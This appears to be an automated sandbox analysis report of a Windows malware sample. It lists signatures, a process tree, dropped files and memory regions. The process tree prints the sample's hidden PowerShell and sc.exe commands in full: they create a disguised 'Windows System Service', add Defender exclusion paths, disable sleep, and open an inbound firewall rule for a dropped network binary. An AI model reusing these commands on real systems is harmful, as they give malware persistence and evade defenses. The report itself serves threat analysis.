Analysis

  • max time kernel
    300s
  • max time network
    304s
  • platform
    windows10-1703_x64
  • resource
    win10-20240404-en
  • resource tags

    arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system
  • submitted
    07/06/2024, 00:39

General

  • Target
    9c0a4d4e7eab8b61015041b7a160eb76abd8d96c7d821a006b1d98e28da0f4f9.exe
  • Size 32.3MB
  • Sample240607-azzw8sff25
  • SHA256 9c0a4d4e7eab8b61015041b7a160eb76abd8d96c7d821a006b1d98e28da0f4f9
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 15 IoCs

    Run Powershell and hide display window.

  • Creates new service(s) 2 TTPs
  • Executes dropped EXE 5 IoCs
  • Drops file in System32 directory 64 IoCs
  • Launches sc.exe 4 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Kills process with taskkill 12 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\9c0a4d4e7eab8b61015041b7a160eb76abd8d96c7d821a006b1d98e28da0f4f9.exe
    "C:\Users\Admin\AppData\Local\Temp\9c0a4d4e7eab8b61015041b7a160eb76abd8d96c7d821a006b1d98e28da0f4f9.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3748
    • C:\Users\Admin\AppData\Local\Temp\9c0a4d4e7eab8b61015041b7a160eb76abd8d96c7d821a006b1d98e28da0f4f9-42a24e747bf55824\9c0a4d4e7eab8b61015041b7a160eb76abd8d96c7d821a006b1d98e28da0f4f9.exe
      "C:\Users\Admin\AppData\Local\Temp\9c0a4d4e7eab8b61015041b7a160eb76abd8d96c7d821a006b1d98e28da0f4f9-42a24e747bf55824\9c0a4d4e7eab8b61015041b7a160eb76abd8d96c7d821a006b1d98e28da0f4f9.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:3960
      • C:\Windows\system32\winsvc.exe
        "C:\Windows\system32\winsvc.exe" "C:\Users\Admin\AppData\Local\Temp\9c0a4d4e7eab8b61015041b7a160eb76abd8d96c7d821a006b1d98e28da0f4f9-42a24e747bf55824\9c0a4d4e7eab8b61015041b7a160eb76abd8d96c7d821a006b1d98e28da0f4f9.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:8
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "powershell.exe" "-WindowStyle" "Hidden" "-Command" "&" "\"C:\Windows\system32\sc.exe\"" "create" "winsvc" "type=own" "start=auto" "error=ignore" "binPath=\"C:\Windows\system32\winsvc.exe\"" "DisplayName=\"Windows System Service\""
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:4136
          • C:\Windows\system32\sc.exe
            "C:\Windows\system32\sc.exe" create winsvc type=own start=auto error=ignore binPath=C:\Windows\system32\winsvc.exe "DisplayName=Windows System Service"
            5⤵
            • Launches sc.exe
            PID:4292
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "powershell.exe" "-WindowStyle" "Hidden" "-Command" "&" "\"C:\Windows\system32\sc.exe\"" "failure" "winsvc" "reset=0" "actions=restart/0/restart/0/restart/0"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:704
          • C:\Windows\system32\sc.exe
            "C:\Windows\system32\sc.exe" failure winsvc reset=0 actions=restart/0/restart/0/restart/0
            5⤵
            • Launches sc.exe
            PID:1860
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "powershell.exe" "-WindowStyle" "Hidden" "-Command" "&" "\"C:\Windows\system32\sc.exe\"" "description" "winsvc" "\"Windows System Service is the main system supervision service.\""
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:2672
          • C:\Windows\system32\sc.exe
            "C:\Windows\system32\sc.exe" description winsvc "Windows System Service is the main system supervision service."
            5⤵
            • Launches sc.exe
            PID:4256
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "powershell.exe" "-WindowStyle" "Hidden" "-Command" "&" "\"C:\Windows\system32\sc.exe\"" "start" "winsvc"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:4700
          • C:\Windows\system32\sc.exe
            "C:\Windows\system32\sc.exe" start winsvc
            5⤵
            • Launches sc.exe
            PID:792
  • C:\Windows\system32\winsvc.exe
    C:\Windows\system32\winsvc.exe
    1⤵
    • Executes dropped EXE
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:4312
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" "-WindowStyle" "Hidden" "-Command" "Add-MpPreference" "-ExclusionPath" "\"C:\Windows\system32\""
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4300
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" "-WindowStyle" "Hidden" "-Command" "Add-MpPreference" "-ExclusionPath" "\"C:\Windows\Temp\""
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Drops file in System32 directory
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4868
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" "-WindowStyle" "Hidden" "-Command" "&" "powercfg.exe" "-SETACTIVE" "8c5e7fda-e8bf-4a96-9a85-a6e23a8c635c"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4364
      • C:\Windows\system32\powercfg.exe
        "C:\Windows\system32\powercfg.exe" -SETACTIVE 8c5e7fda-e8bf-4a96-9a85-a6e23a8c635c
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:4780
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" "-WindowStyle" "Hidden" "-Command" "&" "powercfg.exe" "-change" "standby-timeout-ac" "0"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4204
      • C:\Windows\system32\powercfg.exe
        "C:\Windows\system32\powercfg.exe" -change standby-timeout-ac 0
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:3304
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" "-WindowStyle" "Hidden" "-Command" "&" "powercfg.exe" "-change" "standby-timeout-dc" "0"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3068
      • C:\Windows\system32\powercfg.exe
        "C:\Windows\system32\powercfg.exe" -change standby-timeout-dc 0
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:1540
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" "-WindowStyle" "Hidden" "-Command" "&" "powercfg.exe" "-change" "hibernate-timeout-ac" "0"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2028
      • C:\Windows\system32\powercfg.exe
        "C:\Windows\system32\powercfg.exe" -change hibernate-timeout-ac 0
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:3984
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" "-WindowStyle" "Hidden" "-Command" "&" "powercfg.exe" "-change" "hibernate-timeout-dc" "0"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4656
      • C:\Windows\system32\powercfg.exe
        "C:\Windows\system32\powercfg.exe" -change hibernate-timeout-dc 0
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:1516
    • C:\Windows\system32\taskkill.exe
      "taskkill.exe" "/F" "/IM" "winnet.exe"
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:4352
    • C:\Windows\system32\taskkill.exe
      "taskkill.exe" "/F" "/IM" "winnet.exe"
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:2456
    • C:\Windows\system32\taskkill.exe
      "taskkill.exe" "/F" "/IM" "wincfg.exe"
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:1836
    • C:\Windows\system32\taskkill.exe
      "taskkill.exe" "/F" "/IM" "wincfg.exe"
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:4972
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" "-WindowStyle" "Hidden" "-Command" "Remove-NetFirewallRule" "-DisplayName" "\"Windows Network Manager\""
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Drops file in System32 directory
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2148
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" "-WindowStyle" "Hidden" "-Command" "New-NetFirewallRule" "-DisplayName" "\"Windows Network Manager\"" "-Program" "\"C:\Windows\system32\winnet.exe\"" "-Action" "Allow" "-Direction" "Inbound" "-EdgeTraversalPolicy" "Allow" "-Enabled" "True"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2856
    • C:\Windows\system32\taskkill.exe
      "taskkill.exe" "/F" "/IM" "WINNET.exe"
      2⤵
      • Kills process with taskkill
      PID:984
    • C:\Windows\system32\taskkill.exe
      "taskkill.exe" "/F" "/IM" "WINNET.exe"
      2⤵
      • Kills process with taskkill
      PID:2224
    • C:\Windows\system32\taskkill.exe
      "taskkill.exe" "/F" "/IM" "WINCFG.exe"
      2⤵
      • Kills process with taskkill
      PID:1004
    • C:\Windows\system32\taskkill.exe
      "taskkill.exe" "/F" "/IM" "WINCFG.exe"
      2⤵
      • Kills process with taskkill
      PID:2940
    • C:\Windows\system32\taskkill.exe
      "taskkill.exe" "/F" "/IM" "WINNET.exe"
      2⤵
      • Kills process with taskkill
      PID:2560
    • C:\Windows\system32\taskkill.exe
      "taskkill.exe" "/F" "/IM" "WINCFG.exe"
      2⤵
      • Kills process with taskkill
      PID:1388
    • C:\Windows\system32\taskkill.exe
      "taskkill.exe" "/F" "/IM" "WINNET.exe"
      2⤵
      • Kills process with taskkill
      PID:364
    • C:\Windows\system32\taskkill.exe
      "taskkill.exe" "/F" "/IM" "WINCFG.exe"
      2⤵
      • Kills process with taskkill
      PID:3436
    • C:\WINDOWS\SYSTEM32\WINCFG.EXE
      "C:\WINDOWS\SYSTEM32\WINCFG.EXE"
      2⤵
      • Executes dropped EXE
      PID:1860
    • C:\WINDOWS\SYSTEM32\WINNET.EXE
      "C:\WINDOWS\SYSTEM32\WINNET.EXE" "--datadir=C:\Windows\system32\data" "--precomputation.elgamal=false" "--persist.profiles=false" "--persist.addressbook=false" "--cpuext.aesni" "--cpuext.avx" "--ipv4" "--ipv6" "--bandwidth=X" "--share=100" "--floodfill" "--nat" "--upnp.enabled=true" "--upnp.name=Microsoft" "--insomnia" "--nettime.enabled=true" "--nettime.ntpsyncinterval=1" "--sam.enabled=true" "--sam.singlethread=false" "--http.enabled=false" "--bob.enabled=false" "--httpproxy.enabled=false" "--socksproxy.enabled=false" "--i2cp.enabled=false" "--i2pcontrol.enabled=false" "--loglevel=none" "--log=stdout"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      PID:3612

Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

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        Downloads

        powershell.exe.log

        • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
        • Size 2KB
        • SHA256 a166e551d09fc5f77e4ede547e3dc521b71f4b5c07b93f16de2b0f976fed6751
        • MD5 SHA1 SHA512

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 c8898436145a58dfb23968ad9be8494300c72871570fcff7d2c3e9edc19c5147
        • MD5 SHA1 SHA512

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 40302e77ee0ee6d33d971fe7ac897466e0f2810f773b1762d70ccc11f0534ee1
        • MD5 SHA1 SHA512

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 4e6dbc9230e3bb3cf463113a225256b66ca51015f4f891709b7374d4e69a9936
        • MD5 SHA1 SHA512

        9c0a4d4e7eab8b61015041b7a160eb76abd8d96c7d821a006b1d98e28da0f4f9.exe

        • Path C:\Users\Admin\AppData\Local\Temp\9c0a4d4e7eab8b61015041b7a160eb76abd8d96c7d821a006b1d98e28da0f4f9-42a24e747bf55824\9c0a4d4e7eab8b61015041b7a160eb76abd8d96c7d821a006b1d98e28da0f4f9.exe
        • Size 41.7MB
        • SHA256 8f2c8aa98033bfcd9454cd4500901f67d463d906c10738ceeef92bd57d1c0388
        • MD5 SHA1 SHA512 SSDEEP

        __PSScriptPolicyTest_0voj00yl.2c0.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0voj00yl.2c0.ps1
        • Size 1B
        • SHA256 6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b
        • MD5 SHA1 SHA512

        wincfg.exe

        • Path C:\Windows\System32\wincfg.exe
        • Size 34.2MB
        • SHA256 faf008f5223116aa68a612e502641a5c32c007aaf99ebedce902d8b23458ef68
        • MD5 SHA1 SHA512 SSDEEP

        winnet.exe

        • Path C:\Windows\System32\winnet.exe
        • Size 9.1MB
        • SHA256 fcd362e0632b35dad13a87f09ea6da4d07fa89516f42d64236d2cc3e3b2b725b
        • MD5 SHA1 SHA512 SSDEEP

        powershell.exe.log

        • Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
        • Size 3KB
        • SHA256 6b592cb255b42ec8a77467d3f0be5e9b2f15f1c72bc1cc8cbe44ae2891765aee
        • MD5 SHA1 SHA512

        StartupProfileData-NonInteractive

        • Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 51f3420c13c267e315fd5b760752b57aeba1c8382c622d9d98b43add92fcde86
        • MD5 SHA1 SHA512

        StartupProfileData-NonInteractive

        • Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 1d72df53c36b125d85869fc50c5d7bcf5ea25cc5300734362cf08f94c1eec9cc
        • MD5 SHA1 SHA512

        StartupProfileData-NonInteractive

        • Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 1e403c953e5b99b4f65654b92ffdc5d6ad9029376a7dca6d535397d9387e8b33
        • MD5 SHA1 SHA512

        StartupProfileData-NonInteractive

        • Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 13bee7590409b7ab140abbbb9432153de5dfba23db54afb0a747238a28288b58
        • MD5 SHA1 SHA512

        StartupProfileData-NonInteractive

        • Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 d7e418d31f0410c00f987b09dddebcb081ea5e74806a10b2f33ec24a4de1d1fc
        • MD5 SHA1 SHA512

        StartupProfileData-NonInteractive

        • Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 aa27ccd79856ee68addbef7309c9d5597f6e80242743a22b209af671f017eaa1
        • MD5 SHA1 SHA512

        StartupProfileData-NonInteractive

        • Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 fe7ec47c1ad5caa3dfed734ce060b1a6cb3ce06532102fbfc5ccbe7b8eea8e6e
        • MD5 SHA1 SHA512

        StartupProfileData-NonInteractive

        • Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 eb87b59cda411b38998b573c116ec3ccf578a354caab1833fcbeb5398c1dfa80
        • MD5 SHA1 SHA512

        memory/2148-755-0x000001E09C940000-0x000001E09C95C000-memory.dmp

        memory/2148-544-0x000001E09C860000-0x000001E09C919000-memory.dmp

        memory/2148-774-0x000001E09C920000-0x000001E09C92E000-memory.dmp

        memory/3612-1243-0x00007FF643B80000-0x00007FF6444AC000-memory.dmp

        memory/3612-1408-0x00007FF643B80000-0x00007FF6444AC000-memory.dmp

        memory/3612-1494-0x00007FF643B80000-0x00007FF6444AC000-memory.dmp

        memory/3612-1493-0x00007FF643B80000-0x00007FF6444AC000-memory.dmp

        memory/3612-1492-0x00007FF643B80000-0x00007FF6444AC000-memory.dmp

        memory/3612-1491-0x00007FF643B80000-0x00007FF6444AC000-memory.dmp

        memory/3612-1410-0x00007FF643B80000-0x00007FF6444AC000-memory.dmp

        memory/3612-1234-0x00007FF643B80000-0x00007FF6444AC000-memory.dmp

        memory/3612-1237-0x00007FF643B80000-0x00007FF6444AC000-memory.dmp

        memory/3612-1242-0x00007FF643B80000-0x00007FF6444AC000-memory.dmp

        memory/3612-1409-0x00007FF643B80000-0x00007FF6444AC000-memory.dmp

        memory/3612-1244-0x00007FF643B80000-0x00007FF6444AC000-memory.dmp

        memory/3612-1245-0x00007FF643B80000-0x00007FF6444AC000-memory.dmp

        memory/3612-1405-0x00007FF643B80000-0x00007FF6444AC000-memory.dmp

        memory/3612-1406-0x00007FF643B80000-0x00007FF6444AC000-memory.dmp

        memory/3612-1407-0x00007FF643B80000-0x00007FF6444AC000-memory.dmp

        memory/4136-17-0x0000024F71120000-0x0000024F71142000-memory.dmp

        memory/4136-20-0x0000024F71320000-0x0000024F71396000-memory.dmp

        memory/4300-168-0x0000017569710000-0x000001756971A000-memory.dmp

        memory/4300-129-0x00000175696F0000-0x000001756970C000-memory.dmp

        memory/4300-135-0x0000017569DF0000-0x0000017569EA9000-memory.dmp

        memory/4312-100-0x00007FF6CC650000-0x00007FF6CC660000-memory.dmp

        memory/4312-101-0x00007FF6CC660000-0x00007FF6CC670000-memory.dmp